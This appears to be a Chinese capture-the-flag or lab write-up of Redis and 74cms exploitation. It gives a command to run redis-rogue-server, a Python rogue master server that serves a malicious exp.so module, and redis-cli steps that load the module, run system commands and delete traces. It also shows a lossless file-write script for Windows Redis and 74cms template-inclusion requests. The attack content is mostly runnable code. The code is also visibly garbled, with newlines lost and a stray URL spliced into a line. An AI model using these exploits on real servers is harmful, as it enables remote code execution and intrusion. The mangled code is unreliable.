FOFA-攻防挑战( 二 )


redis-rogue-
git clone https://github.com/n0b0dyCN/redis-rogue-server.gitcd redis-rogue-servepython3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1
Redis主从复制手动挡
import socketfrom time import sleepfrom optparse import OptionParserdef RogueServer(lport):resp = ""sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.bind(("0.0.0.0",lport))sock.listen(10)conn,address = sock.accept()sleep(5)while True: data = http://www.kingceram.com/post/conn.recv(1024)if"PING" in data:resp="+PONG"+CLRFconn.send(resp)elif "REPLCONF" in data:resp="+OK"+CLRFconn.send(resp)elif "PSYNC" in data or "SYNC" in data:resp ="+FULLRESYNC " + "Z"*40 + " 1" + CLRFresp += "$" + str(len(payload)) + CLRFresp = resp.encode()resp += payload + CLRF.encode()if type(resp) != bytes:resp =resp.encode()conn.send(resp) #elif "exit" in data:breakif __name__=="__main__":parser = OptionParser()parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")(options , args )= parser.parse_args()lport = options.lpexp_filename = options.expCLRF="\r\n"payload=open(exp_filename,"rb").read()print "Start listing on port: %s" %lportprint "Load the payload:%s" %exp_filenameRogueServer(lport)
redis-cli -h 192.168.10.187> ping> config set dir ./# 设置redis的备份路径为当前目录> config set dbfilename exp.so# 设置备份文件名为exp.so,默认为dump.rdb> slaveof 192.168.10.1 9999# 设置主服务器IP和端口> module load ./exp.so# 加载恶意模块> slaveof no one# 切断主从,关闭复制功能> system.exec 'whoami'# 执行系统命令> config set dbfilename dump.rdb# 通过dump.rdb文件恢复数据> system.exec 'rm ./exp.so'# 删除exp.so> module unload system# 卸载system模块的加载
Redis 官方没有提供版的安装包,下使用的 Redis 还是 3.X 版本的 。redis 在写文件的时候会有一些版本信息以及脏数据,无法写出正常的DLL、EXE、LINK 等文件,所以 对下的redis的利用方法主要是往 web 目录写马以及写启动项 。
利用Redis的主从同步写数据,脚本将自己模拟为,设置对端为slave,数据空间保证绝对干净,轻松实现了写无损文件 。
参考文章对 Redis 在下的利用方式思考踩坑记录-Redis()的可以利用以下方式
因为对这些暂时还没有研究,所以在这里只演示以下,在redis 写无损文件
python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]python3 RedisWriteFile.py --rhost=192.168.10.190 --rport=6379 --lhost=192.168.10.1--lport=9999 --rpath="C:\Users\Public" --rfile="test.txt"--lfile="test.txt"
哇,这个无损写文件真是 yyds,在 linux 下利用也是没有一点问题 。
骑士cms 存在模板解析漏洞
打开页面就是 骑士cms,想到了骑士 cms 的历史漏洞 文件包含漏洞( 的文件包含)
这样操作
http://74cms.test/index.php?m=home&c=index&a=assign_resume_tplPOST:variable=1&tpl=/r/nhttp://74cms.test/index.php?m=home&c=index&a=assign_resume_tplPOST:variable=1&tpl=data/Runtime/Logs/Home/22_06_28.log
漏洞的原理主要是通过将代码通过报错信息写到日志文件中,再利用文件包含实现代码执行 。
更多靶场实验练习、网安学习资料,请点击这里>>